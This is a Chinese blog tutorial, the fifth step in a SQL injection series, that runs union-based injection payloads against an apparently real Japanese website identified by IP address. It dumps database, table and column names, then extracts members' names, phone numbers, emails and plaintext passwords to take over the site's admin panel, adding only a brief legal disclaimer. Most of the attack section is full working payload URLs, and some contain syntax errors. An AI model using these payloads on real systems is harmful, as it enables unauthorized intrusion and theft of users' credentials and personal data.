3-6SQL注入网站实例第五步:攻破后台获取web管理员权限

当我们得到上位点之后,并且对上位点进行了充分的测试,测试的目标是得到确认的信息,它是可以显示我们想要的数据库信息,所有的表信息,所有的字段信息,甚至,我们可以得到后台管理员的权限,那么本篇,我们就来解决这个问题

利用上位点进行爆库,获得后台管理员的权限

1.获得当前连接的所有数据库名

我们仍然对这个上位点,进行测试,我们要查询所有数据库,我们对information_schema下的schemata表,其它的我们暂时留空,留空这里我们用单引号括起来,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(schema_name,char(10),'',char(10),'',char(10),'',char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.schemata limit 1,10--
&mid=1

我们执行一下

在这里插入图片描述

当前连接的所在服务器的所有数据库名,都出来了,我们发现,我们取得1-10个,实际上这里只有六个,这样,我们就实现了所有数据名都出来了

我们概括一下

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(schema_name,char(10),'',char(10),'',char(10),'',char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.schemata limit 1,10--
&mid=1

我们通过concat、schema_name获取,后面,我们查询了schemata这个表,得到所有数据库名之后,我们希望得到当前数据库的所有表

2.获得当前数据库的所有表名

先获得当前表所在的数据库,table_schema,这个是table_name,下一个是table_rows,表所具有的行数,后边是表的注释,table_comment,如果有的话,我们仍然是通过tables来查找,where table_schema=database,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() --
&mid=1

我们先执行一下,看结果有多少

在这里插入图片描述

我们发现全部出来了,有10页,也就是当前数据库下所具有的表是很多的,这给我们的分析带来了一定的困难,因为我们想得到后台管理员的密码,这么多张表,它到底保存在那张表中,这么多的信息,显然对我们查找,有一定的难度

我们先来概括一下

获得当前库的所有表,表所在的库,表的行数和表的功能注释

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1,10--

下一步,就是希望获得web后台管理员密码可能所在的表

3.获得web后台管理员密码可能所在的表

刚才我们看到表太多了,那我们猜测一下,因为所在的表往往是用户表,用户可能含有user,member这种字段,我们猜测一下,and里面的table_name like,我们看是否支持like查询,我们先看一下user,是否有类似这种表,我们拿出来分析

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() and table_name like '%user%'--
&mid=1

在这里插入图片描述

我们看到确实有的,我们看到MAG_user,可能这个就是管理员的表,我们把它拷贝下来,保存一下

我们再看member,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() and table_name like '%member%'--
&mid=1

在这里插入图片描述

我们看到有menber表,当然,还有其它类似的,但最有可能的就是这个

到达这一步,我们就得出了web后台管理员可能存在的表,有两个,一个是member表,一个就是刚才所在的MAG_user表

好,我们现在概括一下

获得当前库的所有表,表所有的库,表的行数和表的功能注释

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() and table_name>=‘a’ and table_name<‘b’ limit 1,10--

第二部分,获得管理员可能在的表,那么通过where查询,或者范围查询,来查找出真的表是什么,下一步,我们就分析两个表中,或者下一个表中,到底是不是管理员,或者其它的用户,保存用户名和密码所在的表,所以下一步,我们就要获得用户表的所有字段

4.获得用户表的所有字段

查找的这个表叫columns,table_schema是当前的数据库,表名呢,我们就等于member,前面的叫column_name,字段名,那字段是否有注释呢,我们也把它查找出来,有可能,注释对于我们来说可能是有帮助的,因为它说明了字段的功能是什么,我们执行一下,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),column_name,char(10),column_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_schema=database() and table_name='member'--
&mid=1

在这里插入图片描述

我们发现这就是member表的所有字段,我们看到PWD都出来了

在这里插入图片描述

我们看到这里字段是很多的,但是对于我们的帮助是非常大的,因为我们发现已经得到了所有的字段,并且对字段的功能和含义,基本上,我们是比较明确的,比如说,这个是手机号,这个是邮箱,这个是密码

接下来,我们看一下mag_user表,我们执行一下

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),column_name,char(10),column_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_schema=database() and table_name='mag_user'--
&mid=1

在这里插入图片描述

我们会发现这个是管理员的ID、成员名字、合作者名字、电子邮件、登录标记,对于这两个表的所有字段进行分析,我们可能确认最终的后台管理员用户名和密码,还是在menber表里面,所以下一步,我们将获得后台管理员的用户名和密码

我们先概括一下

获得用户名的所有字段,字段行数和字段的功能注释

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),column_name,char(10),column_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_schema=database() and table_name='member' limit 1,10--

用户表的所有字段,我们决定table_schema等于当前的数据库并且table_name等于member,这是我们确认的最终后台管理员,他的用户名和密码在member表中

5.获得web后台管理员的用户名、密码、邮箱等敏感信息

这一步,就是我们刚刚输入的member表,我们把他输入进去,我们得出这个信息,我们看一下,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),column_name,char(10),column_comment,char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_schema=database() and table_name='member'--
&mid=1

在这里插入图片描述

然后,我们实施的查询,就从member表中进行查询,我们对这个查询改造一下,我们直接from member表,member表我们先显示100条吧,显示的是member_name,mobile,email,pwd,那我们先执行一下,看它是否能查询出来,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(member_name,char(10),mobile,char(10),email,char(10),pwd)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from member 1,100--
&mid=1

在这里插入图片描述

我们看到是空的,空的对我们有启示,因为我们看到可以查询字典表,并且我们连接的是当前的数据库,这意味着是有一定权限的,之所以,没有显示出来,我们可能需要对字段进行充分的处理,假如member_name显示为空,那程序对他的处理是怎么样的呢,所以,我们要对这个空的预见性进行处理一下,如果ifnull,null的意思是,如果member_name为空的话,就显示一下,显示为hxf_name,接下来,一个个弄过去,这个时候,我们看一下,

https://61.206.45.132/corp/tokusyu.php
?page=2
&cnt_all=100
&tksid=473 and 1=2 union select 1,2,3,4,5,6,7,8,9,concat(ifnull('member_name','hxf_name'),char(10),ifnull('mobile','hxf_mob',char(10),ifnull('email','hxf_em'),char(10),ifnull('pwd','hxf_pwd')),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from 'zakkanet','member' limit 1,100--
&mid=1

在这里插入图片描述

我们看到这些都已经出来了,我们看到这些信息是非常敏感的,如果手机号没有的话,就是hxf_mob,当然,他这里可能没有显示出来,我们看到密码是明文的密码,这对于我们来说,或者对网站来说,相当重要的,如果明文保存的密码,对SQL攻击者来说,帮助非常的大,因为他直接得到了明文的密码,那使用明文的密码,就可以登录后台了,到这一步,我们就得到所有的用户名,包括手机、邮箱、密码,那么管理员也是在这个里面,当然,管理员包括了,admin和member表,管理员他可能是admin,或者是其它的超级管理,这里我就不演示了,因为用户和where后台的管理员,用户名和密码都在这里面了

通过where条件,查找出member_name,是否like admin,查找出来,这样,我们就可以最终得到管理员的密码、权限

我们概括一下

union select 1,2,3,4,5,6,7,8,9,concat(ifnull(`MEMBER_NAME`,'null'),char(10),ifnull(`MOBILE`,'null'),char(10),ifnull(`E_MAIL`,'null'),char(10),ifnull(`PWD`,'null'),char(10)),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from `ZAKKANET`.`MEMBER` limit 1,10--

我们最终得到了web后台管理员的用户名、密码、邮箱等等敏感信息,这些都已经得到了,很幸运的是这个网站爆出来的是明文的密码,得到明文的密码之后,我们在后台可以直接登录,到达这步,我们就可以破解这个网站,也就是成功的入侵了这个网站,当我们通过后台登录的时候,我们就已经成功控制了这个网站

下一步1:假设这个网站,我们得到的不是明文的密码,那我们就需要把这个密码的md5去网上有关的md5库对比得出明文密码

那实际上,这一步我们不需要了

下一步2:直接Web后台管理员登录,那我们就得到管理员的权限,对于SQL注入者来说,他们就可以做他们想做的事

但是我们的目标主要是以安全为目的,这一步,本篇文章不做演示

警告:任何提权成功入侵后台均为非法,非本教程目的,本教程了解入侵的目标为防预,入侵网站后台一切后果自负责任

6.小结

1.获得当前连接所有数据库名,所有表名

2.获得当前数据库表所在敏感信息表和字段

3.获得包括web后台管理员的所有用户名,密码,邮箱、手机等等敏感信息。

通过过程了解,我们就已经知道,mysql注入的高级黑客,要获得后台的权限,其实并不难,当然,对于我们显注攻击来说,显然是比较容易的,对于盲注注入攻击来说,相对比较困难,但是无论是显注还是盲注,他的原理都是不变的

但是,有时候,对于我们来说,寻找注入点,或者对注入点进行攻击,相对来说相对困难,我们技术也有一定的限制,这个时候,就要用工具了

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值